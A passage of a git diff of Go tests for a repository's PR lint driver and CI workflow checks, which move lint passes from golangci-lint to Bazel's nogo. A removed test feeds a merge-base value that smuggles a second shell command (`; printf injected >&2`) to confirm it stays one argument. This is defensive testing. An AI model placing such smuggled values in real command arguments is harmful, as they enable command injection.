`{"GOOS":"linux","CGO_ENABLED":"1"}`, - } - var stdout, stderr bytes.Buffer - // No BD_LINT_TARGETS at all, and a second case with it set but empty: - // both must run the full native+windows+darwin contract (the no-argument - // usage contract `make ci-pr-lint` and `bd preflight` depend on). - for _, environ := range [][]string{ - {"PATH=/tools"}, - {"PATH=/tools", "BD_LINT_TARGETS="}, - {"PATH=/tools", "BD_LINT_TARGETS= , ,"}, - } { - runner.runCommands = nil - code := run(nil, "/repo", environ, &stdout, &stderr, runner) - if code != 0 { - t.Fatalf("run exit = %d, want 0; stderr=%s", code, stderr.String()) + runner := newRunner() + var stdout, stderr bytes.Buffer + if code := run(nil, "/repo", []string{"BD_LINT_TARGETS=" + c.targets}, &stdout, &stderr, runner); code != 0 { + t.Fatalf("%q: run() = %d, stderr:\n%s", c.targets, code, stderr.String()) } - if len(runner.runCommands) != 3 { - t.Fatalf("env=%v: lint calls = %d, want 3", environ, len(runner.runCommands)) + if got := commandArgs(runner); !reflect.DeepEqual(got, c.want) { + t.Errorf("%q: bazel commands = %q, want %q", c.targets, got, c.want) } } } -func TestRunRejectsUnknownBDLintTarget(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "/tools/go", - "golangci-lint": "/tools/golangci-lint", - }, - goEnvOutput: `{"GOOS":"linux","CGO_ENABLED":"1"}`, - } +func TestRejectsUnknownTargetAndArguments(t *testing.T) { + runner := newRunner() var stdout, stderr bytes.Buffer - environ := []string{"PATH=/tools", "BD_LINT_TARGETS=native,solaris"} - - code := run(nil, "/repo", environ, &stdout, &stderr, runner) - if code != 2 { - t.Fatalf("run exit = %d, want 2; stderr=%s", code, stderr.String()) + if code := run(nil, "/repo", []string{"BD_LINT_TARGETS=native,linux"}, &stdout, &stderr, runner); code != 2 { + t.Errorf("unknown target: run() = %d, want 2", code) + } + if !strings.Contains(stderr.String(), `unknown target "linux"`) { + t.Errorf("stderr = %q, want the unknown target named", stderr.String()) + } + if code := run([]string{"./..."}, "/repo", nil, &stdout, &stderr, runner); code != 2 { + t.Errorf("arguments: run() = %d, want 2", code) } if len(runner.runCommands) != 0 { - t.Fatalf("an unknown target must run nothing, got %d lint calls", len(runner.runCommands)) - } - if !strings.Contains(stderr.String(), "solaris") { - t.Fatalf("missing the unknown target in the diagnostic: %q", stderr.String()) + t.Errorf("ran %+v after a usage error", runner.runCommands) } } -func TestParseLintTargets(t *testing.T) { - for _, tc := range []struct { - raw string - want []string - wantErr bool - }{ - {"", []string{"native", "windows", "darwin"}, false}, - {" , ", []string{"native", "windows", "darwin"}, false}, - {"native", []string{"native"}, false}, - {"native,darwin", []string{"native", "darwin"}, false}, - {" native , darwin ", []string{"native", "darwin"}, false}, - {"bogus", nil, true}, - {"native,bogus", nil, true}, - } { - t.Run(tc.raw, func(t *testing.T) { - got, err := parseLintTargets(tc.raw) - if tc.wantErr { - if err == nil { - t.Fatalf("parseLintTargets(%q) = %v, want an error", tc.raw, got) - } - return - } - if err != nil { - t.Fatalf("parseLintTargets(%q) unexpected error: %v", tc.raw, err) - } - if !reflect.DeepEqual(got, tc.want) { - t.Fatalf("parseLintTargets(%q) = %#v, want %#v", tc.raw, got, tc.want) - } - }) - } -} - -func TestLintArgsKeepsHostileMergeBaseInOneArgument(t *testing.T) { - mergeBase := `origin/main; printf injected >&2` - args := lintArgs(mergeBase) - want := "--new-from-merge-base=" + mergeBase - count := 0 - for _, arg := range args { - if arg == want { - count++ - } - } - if count != 1 { - t.Fatalf("hostile merge base occurrence count = %d, want 1; args=%#v", count, args) - } - if len(args) != 7 { - t.Fatalf("hostile merge base changed argv cardinality: %#v", args) - } -} - -func TestRunSkipsDuplicateNativeWindowsNonCGOPass(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "go", - "golangci-lint": "golangci-lint", - }, - goEnvOutput: `{"GOOS":"windows","CGO_ENABLED":"0"}`, - } - var stdout bytes.Buffer - var stderr bytes.Buffer - - code := run(nil, "/repo", []string{"CGO_ENABLED=0"}, &stdout, &stderr, runner) - if code != 0 { - t.Fatalf("run exit = %d, want 0; stderr=%s", code, stderr.String()) - } - // The native pass already covers windows/non-CGO, so only the native and - // darwin cross-target passes remain. - if len(runner.runCommands) != 2 { - t.Fatalf("lint calls = %d, want 2", len(runner.runCommands)) - } - assertEnvironmentValue(t, runner.runCommands[1].env, "GOOS", "darwin", false) - if !strings.Contains(stdout.String(), "==> golangci-lint (windows/amd64, non-CGO) already covered by native pass") { - t.Fatalf("missing duplicate-pass diagnostic:\n%s", stdout.String()) - } -} - -func TestRunSkipsDuplicateNativeDarwinNonCGOPass(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "go", - "golangci-lint": "golangci-lint", - }, - goEnvOutput: `{"GOOS":"darwin","CGO_ENABLED":"0"}`, - } - var stdout bytes.Buffer - var stderr bytes.Buffer - - code := run(nil, "/repo", []string{"CGO_ENABLED=0"}, &stdout, &stderr, runner) - if code != 0 { - t.Fatalf("run exit = %d, want 0; stderr=%s", code, stderr.String()) - } - // The native pass already covers darwin/non-CGO, so only the native and - // windows cross-target passes remain. - if len(runner.runCommands) != 2 { - t.Fatalf("lint calls = %d, want 2", len(runner.runCommands)) - } - assertEnvironmentValue(t, runner.runCommands[1].env, "GOOS", "windows", false) - if !strings.Contains(stdout.String(), "==> golangci-lint (darwin/arm64, non-CGO) already covered by native pass") { - t.Fatalf("missing duplicate-pass diagnostic:\n%s", stdout.String()) - } -} - -func TestOSProcessRunnerSeparatesStdoutAndStderr(t *testing.T) { - const helperEnvironment = "BEADS_PR_LINT_OUTPUT_HELPER" - if os.Getenv(helperEnvironment) == "1" { - _, _ = io.WriteString(os.Stdout, `{"GOOS":"windows","CGO_ENABLED":"0"}`) - _, _ = io.WriteString(os.Stderr, "synthetic benign go env warning\n") - os.Exit(0) - } - - stdout, stderr, err := (osProcessRunner{}).output(context.Background(), commandSpec{ - name: os.Args[0], - args: []string{"-test.run=^TestOSProcessRunnerSeparatesStdoutAndStderr$"}, - env: append(os.Environ(), helperEnvironment+"=1"), - }) - if err != nil { - t.Fatalf("output helper failed: %v; stderr=%s", err, stderr) - } - if got, want := string(stdout), `{"GOOS":"windows","CGO_ENABLED":"0"}`; got != want { - t.Fatalf("stdout = %q, want JSON-only %q", got, want) - } - if got, want := string(stderr), "synthetic benign go env warning\n"; got != want { - t.Fatalf("stderr = %q, want warning-only %q", got, want) - } -} - -func TestRunParsesGoEnvStdoutWhenSuccessfulCommandWarnsOnStderr(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "go", - "golangci-lint": "golangci-lint", - }, - goEnvOutput: `{"GOOS":"windows","CGO_ENABLED":"0"}`, - goEnvStderr: "synthetic benign go env warning\n", - } - var stdout bytes.Buffer - var stderr bytes.Buffer - - code := run(nil, "/repo", []string{"CGO_ENABLED=0"}, &stdout, &stderr, runner) - if code != 0 { - t.Fatalf("run exit = %d, want 0; stderr=%s", code, stderr.String()) - } - if !strings.Contains(stderr.String(), "synthetic benign go env warning") { - t.Fatalf("go env stderr warning was not surfaced: %q", stderr.String()) - } - if strings.Contains(stderr.String(), "parse native Go target") { - t.Fatalf("go env stderr corrupted stdout JSON parsing: %q", stderr.String()) - } - if len(runner.runCommands) != 2 { - t.Fatalf("lint calls = %d, want the native Windows/non-CGO pass plus the darwin cross-lint", len(runner.runCommands)) - } -} - -func TestRunPreservesNativeLintExitCodeAndStops(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "go", - "golangci-lint": "golangci-lint", - }, - goEnvOutput: `{"GOOS":"linux","CGO_ENABLED":"1"}`, - runErrors: []error{syntheticExitError{code: 23}}, - } - var stdout bytes.Buffer - var stderr bytes.Buffer - - code := run(nil, "/repo", nil, &stdout, &stderr, runner) - if code != 23 { - t.Fatalf("run exit = %d, want 23", code) +func TestStopsAtTheFirstFailingPassWithItsExitCode(t *testing.T) { + runner := newRunner() + runner.runErrors = []error{syntheticExitError{code: 3}} + var stdout, stderr bytes.Buffer + if code := run(nil, "/repo", nil, &stdout, &stderr, runner); code != 3 { + t.Fatalf("run() = %d, want the native pass's 3", code) } if len(runner.runCommands) != 1 { - t.Fatalf("lint calls = %d, want only failed native pass", len(runner.runCommands)) + t.Errorf("ran %d passes after the native pass failed", len(runner.runCommands)) } - if !strings.Contains(stderr.String(), "golangci-lint (native) failed") { - t.Fatalf("missing native failure diagnostic:\n%s", stderr.String()) + if !strings.Contains(stderr.String(), "<== nogo (native) failed") { + t.Errorf("stderr = %q, want the failed pass named", stderr.String()) + } + runner = newRunner() + runner.runErrors = []error{nil, errors.New("no exit code")} + stderr.Reset() + if code := run(nil, "/repo", nil, &stdout, &stderr, runner); code != 1 { + t.Fatalf("run() = %d, want 1 for a failure without an exit code", code) } } -func TestRunFailsClearlyWhenCapabilityIsMissing(t *testing.T) { - for _, missing := range []string{"go", "golangci-lint"} { - t.Run(missing, func(t *testing.T) { - paths := map[string]string{ - "go": "go", - "golangci-lint": "golangci-lint", - } - delete(paths, missing) - runner := &recordingRunner{paths: paths} - var stderr bytes.Buffer - - if code := run(nil, "/repo", nil, io.Discard, &stderr, runner); code == 0 { - t.Fatal("missing capability unexpectedly passed") - } - if !strings.Contains(strings.ToLower(stderr.String()), missing) || !strings.Contains(stderr.String(), "PATH") { - t.Fatalf("missing %s diagnostic is unclear: %q", missing, stderr.String()) - } - }) +func TestBazelLookup(t *testing.T) { + runner := &recordingRunner{paths: map[string]string{"bazelisk": "/bin/bazelisk", "custom": "/opt/custom"}} + var stdout, stderr bytes.Buffer + // No bazel on PATH: bazelisk is the same launcher. + if code := run(nil, "/repo", []string{"BD_LINT_TARGETS=native"}, &stdout, &stderr, runner); code != 0 || runner.runCommands[0].name != "/bin/bazelisk" { + t.Fatalf("run() = %d with %+v, want bazelisk", code, runner.runCommands) + } + // $BAZEL names the launcher, as the Makefile's BAZEL does. + if code := run(nil, "/repo", []string{"BD_LINT_TARGETS=native", "BAZEL=custom"}, &stdout, &stderr, runner); code != 0 || runner.runCommands[1].name != "/opt/custom" { + t.Fatalf("run() = %d with %+v, want $BAZEL", code, runner.runCommands) + } + missing := &recordingRunner{} + stderr.Reset() + if code := run(nil, "/repo", nil, &stdout, &stderr, missing); code != 1 || !strings.Contains(stderr.String(), "bazel not found") { + t.Fatalf("run() = %d, stderr %q; want a missing-bazel error", code, stderr.String()) } } -func TestBuildEnvironmentMatchesBuildFlagsContract(t *testing.T) { - environ := []string{ - "PATH=/tools", - "CGO_ENABLED=0", - "GOFLAGS=-mod=readonly", - "BEADS_BUILD_TAGS=stale", +func TestEnvironmentLookupIsCaseInsensitiveOnlyOnWindows(t *testing.T) { + runner := newRunner() + var stdout, stderr bytes.Buffer + if code := run(nil, "/repo", []string{"bd_lint_targets=native"}, &stdout, &stderr, runner); code != 0 { + t.Fatalf("run() = %d", code) } - got := buildEnvironment(environ, false) - assertEnvironmentValue(t, got, "CGO_ENABLED", "0", false) - assertEnvironmentValue(t, got, "GOFLAGS", "-mod=readonly -tags=gms_pure_go", false) - assertEnvironmentValue(t, got, "BEADS_BUILD_TAGS", "gms_pure_go", false) - - defaulted := buildEnvironment([]string{"CGO_ENABLED="}, false) - assertEnvironmentValue(t, defaulted, "CGO_ENABLED", "1", false) - assertEnvironmentValue(t, defaulted, "GOFLAGS", "-tags=gms_pure_go", false) -} - -func TestBuildEnvironmentNormalizesWindowsKeyIdentity(t *testing.T) { - environ := []string{ - "cgo_enabled=0", - "CGO_ENABLED=1", - "GoFlags=-mod=readonly", - "GOFLAGS=-trimpath", - "beads_build_tags=stale", - "BEADſ_BUILD_TAGS=near-collision", - "MALFORMED", - "=C:=C:\\source\\beads", + wantPasses := 2 // the lower-case name is a different variable: every pass + if runtime.GOOS == "windows" { + wantPasses = 1 } - got := buildEnvironment(environ, true) - - assertSingleLogicalEnvironmentKey(t, got, "CGO_ENABLED") - assertSingleLogicalEnvironmentKey(t, got, "GOFLAGS") - assertSingleLogicalEnvironmentKey(t, got, "BEADS_BUILD_TAGS") - assertEnvironmentValue(t, got, "CGO_ENABLED", "1", true) - assertEnvironmentValue(t, got, "GOFLAGS", "-trimpath -tags=gms_pure_go", true) - assertEnvironmentValue(t, got, "BEADS_BUILD_TAGS", "gms_pure_go", true) - for _, preserved := range []string{"BEADſ_BUILD_TAGS=near-collision", "MALFORMED", "=C:=C:\\source\\beads"} { - if !containsExact(got, preserved) { - t.Fatalf("environment entry %q was not preserved in %#v", preserved, got) - } - } -} - -func TestRunRejectsArguments(t *testing.T) { - var stderr bytes.Buffer - code := run([]string{"--unexpected"}, "/repo", nil, io.Discard, &stderr, &recordingRunner{}) - if code != 2 { - t.Fatalf("run exit = %d, want 2", code) - } - if !strings.Contains(stderr.String(), "usage:") { - t.Fatalf("missing usage diagnostic: %q", stderr.String()) - } -} - -func assertEnvironmentValue(t *testing.T, environ []string, key, want string, caseInsensitive bool) { - t.Helper() - got, found := environmentValue(environ, key, caseInsensitive) - if !found || got != want { - t.Fatalf("%s = %q, found=%v, want %q; env=%#v", key, got, found, want, environ) - } -} - -func assertSingleLogicalEnvironmentKey(t *testing.T, environ []string, wanted string) { - t.Helper() - count := 0 - for _, entry := range environ { - key, _, ok := strings.Cut(entry, "=") - if ok && strings.ToLower(key) == strings.ToLower(wanted) { - count++ - } - } - if count != 1 { - t.Fatalf("logical environment key %s occurs %d times in %#v", wanted, count, environ) - } -} - -func containsExact(values []string, wanted string) bool { - for _, value := range values { - if value == wanted { - return true - } - } - return false -} - -func TestRunUsesEachWindowsPassSelectedToolchain(t *testing.T) { - if runtime.GOOS != "windows" { - t.Skip("Windows auto-selection creates the extra process") - } - nativeRoot, crossRoot := filepath.Join(t.TempDir(), "workspace SDK"), filepath.Join(t.TempDir(), "module SDK") - environ := []string{"Path=original", "GOTOOLCHAIN=auto", "GOROOT=custom", "GOWORK=workspace"} - runner := &recordingRunner{paths: map[string]string{"go": "launcher", "golangci-lint": "lint"}} - var probeContext context.Context - runner.outputFunc = func(ctx context.Context, spec commandSpec) ([]byte, []byte, error) { - if probeContext != nil && ctx != probeContext { - t.Fatal("toolchain discovery escaped the shared probe deadline") - } - probeContext = ctx - selected := nativeGoEnvironment{GOOS: "windows", CGOEnabled: "1", GOROOT: nativeRoot, GOVERSION: "go1.26.7"} - if work, _ := environmentValue(spec.env, "GOWORK", true); work == "off" { - selected.GOROOT, selected.GOVERSION, selected.CGOEnabled = crossRoot, "go1.26.5", "0" - } - assertEnvironmentValue(t, spec.env, "PATH", "original", true) - if spec.name != "launcher" { - if spec.name != filepath.Join(selected.GOROOT, "bin", "go.exe") { - t.Fatalf("candidate = %q, root = %q", spec.name, selected.GOROOT) - } - assertEnvironmentValue(t, spec.env, "GOTOOLCHAIN", "local", true) - } - data, err := json.Marshal(selected) - return data, nil, err - } - var stderr bytes.Buffer - if code := run(nil, ".", environ, io.Discard, &stderr, runner); code != 0 || len(runner.runCommands) != 2 { - t.Fatalf("run = %d, passes = %d, stderr=%s", code, len(runner.runCommands), &stderr) - } - for index, root := range []string{nativeRoot, crossRoot} { - env := runner.runCommands[index].env - assertSingleLogicalEnvironmentKey(t, env, "PATH") - assertEnvironmentValue(t, env, "PATH", filepath.Join(root, "bin")+";original", true) - assertEnvironmentValue(t, env, "GOTOOLCHAIN", "auto", true) - assertEnvironmentValue(t, env, "GOROOT", "custom", true) - } - if environ[0] != "Path=original" { - t.Fatal("lint changed the caller's PATH") - } -} - -func TestSelectedGoFallsBackForNonstandardSDK(t *testing.T) { - root := t.TempDir() - selected := nativeGoEnvironment{GOROOT: root, GOVERSION: "go1.26.7"} - environ := []string{"Path=original", "GOTOOLCHAIN=auto", "GOROOT=custom"} - t.Run("PATH separator", func(t *testing.T) { - unsupported := selected - unsupported.GOROOT += string(os.PathListSeparator) + "SDK" - data, err := json.Marshal(unsupported) - if err != nil { - t.Fatal(err) - } - var diagnostic bytes.Buffer - got := preferSelectedGo(context.Background(), ".", environ, unsupported, &diagnostic, &recordingRunner{goEnvOutput: string(data)}) - if !reflect.DeepEqual(got, environ) || !strings.Contains(diagnostic.String(), "retaining original Go PATH") { - t.Fatalf("fallback env=%v, diagnostic=%s", got, &diagnostic) - } - }) - for _, tc := range []struct { - name, root, version string - err error - }{ - {"missing executable", root, "go1.26.7", os.ErrNotExist}, - {"wrong version", root, "go1.26.5", nil}, - {"different root", filepath.Join(root, "other"), "go1.26.7", nil}, - {"deadline", root, "go1.26.7", context.DeadlineExceeded}, - } { - t.Run(tc.name, func(t *testing.T) { - data, err := json.Marshal(nativeGoEnvironment{GOROOT: tc.root, GOVERSION: tc.version}) - if err != nil { - t.Fatal(err) - } - runner := &recordingRunner{goEnvOutput: string(data), goEnvErr: tc.err} - var diagnostic bytes.Buffer - got := preferSelectedGo(context.Background(), ".", environ, selected, &diagnostic, runner) - if !reflect.DeepEqual(got, environ) || !strings.Contains(diagnostic.String(), "retaining original Go PATH") { - t.Fatalf("fallback env=%v, diagnostic=%s", got, &diagnostic) - } - }) - } -} - -func TestSelectedGoIsResolvedByLintChild(t *testing.T) { - const marker = "BEADS_SELECTED_GO_PROBE" - if expected := os.Getenv(marker); expected != "" { - resolved, err := exec.LookPath("go") - if err != nil { - t.Fatal(err) - } - got, gotErr := os.Stat(resolved) - want, wantErr := os.Stat(expected) - if gotErr != nil || wantErr != nil || !os.SameFile(got, want) { - t.Fatalf("child resolved %q, want identity of %q", resolved, expected) - } - return - } - if runtime.GOOS != "windows" { - t.Skip("Windows executable discovery") - } - root := t.TempDir() - selectedBin, oldBin := filepath.Join(root, "selected SDK", "bin"), filepath.Join(root, "old SDK", "bin") - for _, bin := range []string{selectedBin, oldBin} { - if err := os.MkdirAll(bin, 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(filepath.Join(bin, "go.exe"), nil, 0o755); err != nil { - t.Fatal(err) - } - } - selected := nativeGoEnvironment{GOROOT: filepath.Dir(selectedBin), GOVERSION: "go1.26.7"} - data, err := json.Marshal(selected) - if err != nil { - t.Fatal(err) - } - environ := setEnvironment(os.Environ(), map[string]string{"PATH": oldBin, marker: filepath.Join(selectedBin, "go.exe")}, true) - cmd := exec.Command(os.Args[0], "-test.run=^TestSelectedGoIsResolvedByLintChild$") - cmd.Env = preferSelectedGo(context.Background(), root, environ, selected, io.Discard, &recordingRunner{goEnvOutput: string(data)}) - if output, err := cmd.CombinedOutput(); err != nil { - t.Fatalf("lint child Go discovery: %v\n%s", err, output) - } -} - -// TestBuildFlagsContractMatchesShellSource reads .buildflags itself and pins -// the driver constants to it. TestBuildEnvironmentMatchesBuildFlagsContract -// pins today's values from the Go side only, so the two files could drift -// apart silently: buildEnvironment appends its own -tags value and overrides -// rather than merges, which means a tag added to .buildflags alone would be -// dropped by the driver with every existing test still green. -func TestBuildFlagsContractMatchesShellSource(t *testing.T) { - _, thisFile, _, ok := runtime.Caller(0) - if !ok { - t.Fatal("runtime.Caller(0) failed") - } - repoRoot := filepath.Dir(filepath.Dir(bazeltest.CallerDir(thisFile, "scripts/pr-lint"))) - path := filepath.Join(repoRoot, ".buildflags") - data, err := os.ReadFile(path) - if err != nil { - t.Fatalf("read %s: %v", path, err) - } - source := string(data) - - // export BEADS_BUILD_TAGS="gms_pure_go" - tags := regexp.MustCompile(`(?m)^export BEADS_BUILD_TAGS="([^"]*)"$`).FindStringSubmatch(source) - if tags == nil { - t.Fatalf(".buildflags no longer exports BEADS_BUILD_TAGS in the expected form:\n%s", source) - } - if tags[1] != beadsBuildTags { - t.Errorf("BEADS_BUILD_TAGS drift: .buildflags has %q, driver constant beadsBuildTags is %q; "+ - "buildEnvironment overrides rather than merges -tags, so the shell value would be silently dropped", - tags[1], beadsBuildTags) - } - - // : "${CGO_ENABLED:=1}" - cgo := regexp.MustCompile(`(?m)^: "\$\{CGO_ENABLED:=([^}]*)\}"$`).FindStringSubmatch(source) - if cgo == nil { - t.Fatalf(".buildflags no longer defaults CGO_ENABLED in the expected form:\n%s", source) - } - if got, _ := environmentValue(buildEnvironment([]string{"CGO_ENABLED="}, false), "CGO_ENABLED", false); got != cgo[1] { - t.Errorf("CGO_ENABLED default drift: .buildflags defaults to %q, buildEnvironment defaults to %q", cgo[1], got) - } - - // if [[ "${GOFLAGS:-}" != *gms_pure_go* ]]; then - guard := regexp.MustCompile(`(?m)^if \[\[ "\$\{GOFLAGS:-\}" != \*([^*]*)\* \]\]; then$`).FindStringSubmatch(source) - if guard == nil { - t.Fatalf(".buildflags no longer guards GOFLAGS in the expected form:\n%s", source) - } - if guard[1] != beadsBuildTags { - t.Errorf("GOFLAGS guard drift: .buildflags skips its append when GOFLAGS contains %q, "+ - "driver skips on %q; the two must test the same token or one appends when the other does not", - guard[1], beadsBuildTags) - } - // The shell guard is a substring match (*tag*), and buildEnvironment uses - // strings.Contains for the same reason. Pin that agreement: making only the - // Go side stricter would append a tag the wrapper had already decided was - // present. - preset := []string{"GOFLAGS=-tags=" + guard[1] + "_x"} - if got, _ := environmentValue(buildEnvironment(preset, false), "GOFLAGS", false); got != preset[0][len("GOFLAGS="):] { - t.Errorf("GOFLAGS guard is no longer the substring test .buildflags performs: got %q, want %q", - got, preset[0][len("GOFLAGS="):]) + if len(runner.runCommands) != wantPasses { + t.Errorf("%d passes, want %d", len(runner.runCommands), wantPasses) } } diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index dc6148611..d6b5ce0d8 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -22,13 +22,12 @@ import ( // TestPRRiskDecisionMatchesBazelMode). Everything the retired jobs did // besides those tests keeps running on every PR: the package gates take the // Bazel-built bd, the Dolt server fingerprint runs on the dolt-server lane, -// and scripts-go-checks runs go test's vet checks. +// and nogo (//tools/nogo) runs go test's vet checks beside every compile of +// the Bazel lanes. const ( // The legacy jobs' if: not covered. - prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" - prScriptsChecksJob = "scripts-go-checks" - prScriptsChecksID = "SCRIPTS_GO_CHECKS" + prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" // bazel.yml's lanes for the step add --config=sole-run whenever they // execute remotely (enabled: mode remote, and the rbe-fork modes // fork-ro/fork-rw, whose lanes are a fork's only run once @@ -334,7 +333,7 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { } for _, c := range []string{"true", "false"} { for _, res := range []string{"skipped", "failure", "cancelled"} { - for _, job := range []string{"package-mcp", "package-npm", "pr-preflight-platforms", prScriptsChecksJob} { + for _, job := range []string{"package-mcp", "package-npm", "pr-preflight-platforms"} { sc := prGateFor(t, lanes, "pull_request", "remote", cov(c)) // F3: package-mcp/package-npm are bazel.yml call outputs // (needs.bazel.outputs.package-mcp), not pr.yml job @@ -345,7 +344,7 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { } else { sc.results = map[string]string{job: res} } - id := map[string]string{"pr-preflight-platforms": "PR_PREFLIGHT_PLATFORMS", prScriptsChecksJob: prScriptsChecksID}[job] + id := map[string]string{"pr-preflight-platforms": "PR_PREFLIGHT_PLATFORMS"}[job] if id == "" { id = prPackageGateIDs[job] } @@ -572,53 +571,55 @@ func TestDoltServerFingerprintRunsOnTheDoltServerLane(t *testing.T) { } } -// PR Core's one duty the Bazel lanes do not take over runs on every PR, in -// pr.yml's required scripts-go-checks job: go test's vet checks over ./... -// (rules_go's go_test runs none). The repository policy tests and the Go -// tests that walk the checkout run under Bazel (//scripts:scripts_test and -// //test/docsync over //:repo_files), so no workflow runs `go test` over -// ./scripts/... or the equivalence allowlist any more. +// PR Core's one duty the Bazel lanes did not take over, go test's vet checks +// over ./... (rules_go's go_test runs none), is nogo's: //tools/nogo runs +// cmd/go's defaultVetFlags analyzers beside every compile of every lane, so +// bazel.yml's required test lane (`bazel test //... --config=ci`) fails on a +// finding. No workflow runs `go vet` any more. The repository policy tests +// and the Go tests that walk the checkout run under Bazel +// (//scripts:scripts_test and //test/docsync over //:repo_files), so no +// workflow runs `go test` over ./scripts/... or the equivalence allowlist +// either. func TestPRRunsGoTestsBazelSkips(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") - job := pr.job(t, prScriptsChecksJob) - // F7b: same-repo PRs now run this job on Blacksmith (forks/Dependabot keep - // ubuntu-latest); see sameRepoBlacksmith4vcpu in ci_blacksmith_runner_test.go. - if job.If != "" || job.ContinueOnError || len(job.Needs) != 0 || job.RunsOn != sameRepoBlacksmith4vcpu || job.TimeoutMinutes == 0 { - t.Errorf("%s: if %q, continue-on-error %v, needs %v, runs-on %q, timeout %d; want an unconditional same-repo-Blacksmith job with a timeout", - prScriptsChecksJob, job.If, job.ContinueOnError, job.Needs, job.RunsOn, job.TimeoutMinutes) + root := sourceRepoRoot(t) + // tools/nogo/analyzers.bzl's VET_PASSES are go test's vet checks (cmd/vet + // keeps -bool and -buildtags as aliases of the bools and buildtag + // analyzers). + m := regexp.MustCompile(`(?ms)^VET_PASSES = \[(.*?)^\]`).FindStringSubmatch(readPolicyFile(t, root, "tools/nogo/analyzers.bzl")) + if m == nil { + t.Fatal("tools/nogo/analyzers.bzl has no VET_PASSES list") } - if want := []string{"vet"}; !equalStrings(job.Strategy.Matrix.Check, want) { - t.Errorf("%s matrix.check = %v, want %v", prScriptsChecksJob, job.Strategy.Matrix.Check, want) + var passes []string + for _, q := range regexp.MustCompile(`"([a-z]+)"`).FindAllStringSubmatch(m[1], -1) { + passes = append(passes, q[1]) } - var names []string - for _, st := range job.Steps { - names = append(names, st.Name) - if st.ContinueOnError != nil { - t.Errorf("%s step %q has continue-on-error", prScriptsChecksJob, st.Name) + var want []string + for _, flag := range goTestDefaultVetFlags(t) { + flag = strings.TrimPrefix(flag, "-") + if alias, ok := map[string]string{"bool": "bools", "buildtags": "buildtag"}[flag]; ok { + flag = alias } + want = append(want, flag) } - wantNames := []string{"", "Set up Go", "Restore Go module cache", "Restore vet Go build cache", "Go vet with go test's checks"} - if !reflect.DeepEqual(names, wantNames) { - t.Errorf("%s steps %q, want %q", prScriptsChecksJob, names, wantNames) + sort.Strings(passes) + sort.Strings(want) + if !reflect.DeepEqual(passes, want) { + t.Errorf("tools/nogo/analyzers.bzl VET_PASSES = %v, want go test's vet checks %v", passes, want) } - st := job.step(t, "Go vet with go test's checks") - if want := "bash scripts/ci/go-test-vet.sh"; st.Run != want || st.If != "${{ !cancelled() && steps.setup-go.outcome == 'success' && matrix.check == 'vet' }}" || - !reflect.DeepEqual(st.Env, map[string]string{"GOCACHE": "${{ runner.temp }}/go-cache/vet"}) { - t.Errorf("%s vet step: run %q, if %q, env %v", prScriptsChecksJob, st.Run, st.If, st.Env) + if module := readPolicyFile(t, root, "MODULE.bazel"); !strings.Contains(module, "go_sdk.nogo(\n includes = [\"//:__subpackages__\"],\n nogo = \"//tools/nogo\",\n)") { + t.Error("MODULE.bazel does not register //tools/nogo for every first-party package (go_sdk.nogo)") } - gate := pr.job(t, "ci-gate") - env := gate.step(t, "Evaluate CI gate").Env - if !contains(gate.Needs, prScriptsChecksJob) || env[prScriptsChecksID] != "${{ needs."+prScriptsChecksJob+".result }}" || - !contains(strings.Fields(env["CI_GATE_REQUIRED"]), prScriptsChecksID) { - t.Errorf("ci-gate does not require %s", prScriptsChecksID) + if _, err := os.Stat(filepath.Join(root, "scripts", "ci", "go-test-vet.sh")); err == nil { + t.Error("scripts/ci/go-test-vet.sh is back; go test's vet checks run as nogo") } - // Nothing else in pr.yml runs go-test-vet.sh, and no workflow brings back - // a go test of the scripts packages or of the allowlist (they run under - // Bazel). - for name, j := range pr.Jobs { - for _, st := range j.Steps { - if strings.Contains(st.Run, "go-test-vet.sh") && name != prScriptsChecksJob { - t.Errorf("%s step %q runs go-test-vet.sh; only %s does", name, st.Name, prScriptsChecksJob) + goVet := regexp.MustCompile(`\bgo vet\b|go-test-vet\.sh`) + for _, wf := range []string{"pr.yml", "main.yml", "nightly.yml", "pr-risk.yml", bazelWorkflowName} { + for name, j := range readCIWorkflow(t, wf).Jobs { + for _, st := range j.Steps { + if goVet.MatchString(st.Run) { + t.Errorf("%s %s step %q runs go vet; nogo runs its checks in the Bazel lanes", wf, name, st.Name) + } } } } @@ -633,45 +634,11 @@ func TestPRRunsGoTestsBazelSkips(t *testing.T) { } } } - // main.yml's push-only go-vet-cache job (F5.3) is the one explicit - // exception: it warms the vet cache pr.yml's vet leg restores, and - // nothing else in main.yml may run go-test-vet.sh either. - for name, j := range readCIWorkflow(t, "main.yml").Jobs { - for _, st := range j.Steps { - if strings.Contains(st.Run, "go-test-vet.sh") && name != "go-vet-cache" { - t.Errorf("main.yml %s step %q runs go-test-vet.sh; only go-vet-cache may", name, st.Name) - } - } - } - if got := readCIWorkflow(t, "main.yml").job(t, "go-vet-cache").step(t, "Go vet with go test's checks").Run; got != "bash scripts/ci/go-test-vet.sh" { - t.Errorf("main.yml go-vet-cache does not run go-test-vet.sh: %q", got) - } - root := sourceRepoRoot(t) for _, gone := range []string{"scripts/ci/allowlisted-go-tests.sh", "scripts/ci/scripts-go-test.sh", "tools/bazel/run_allowlisted_go_tests.py"} { if _, err := os.Stat(filepath.Join(root, filepath.FromSlash(gone))); err == nil { t.Errorf("%s is back; the tests it ran under go test run under Bazel", gone) } } - prelude := []string{ - "set -euo pipefail", - `SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"`, - `REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"`, - `source "$REPO_ROOT/.buildflags"`, - `source "$REPO_ROOT/scripts/ci/lib/timing.sh"`, - `cd 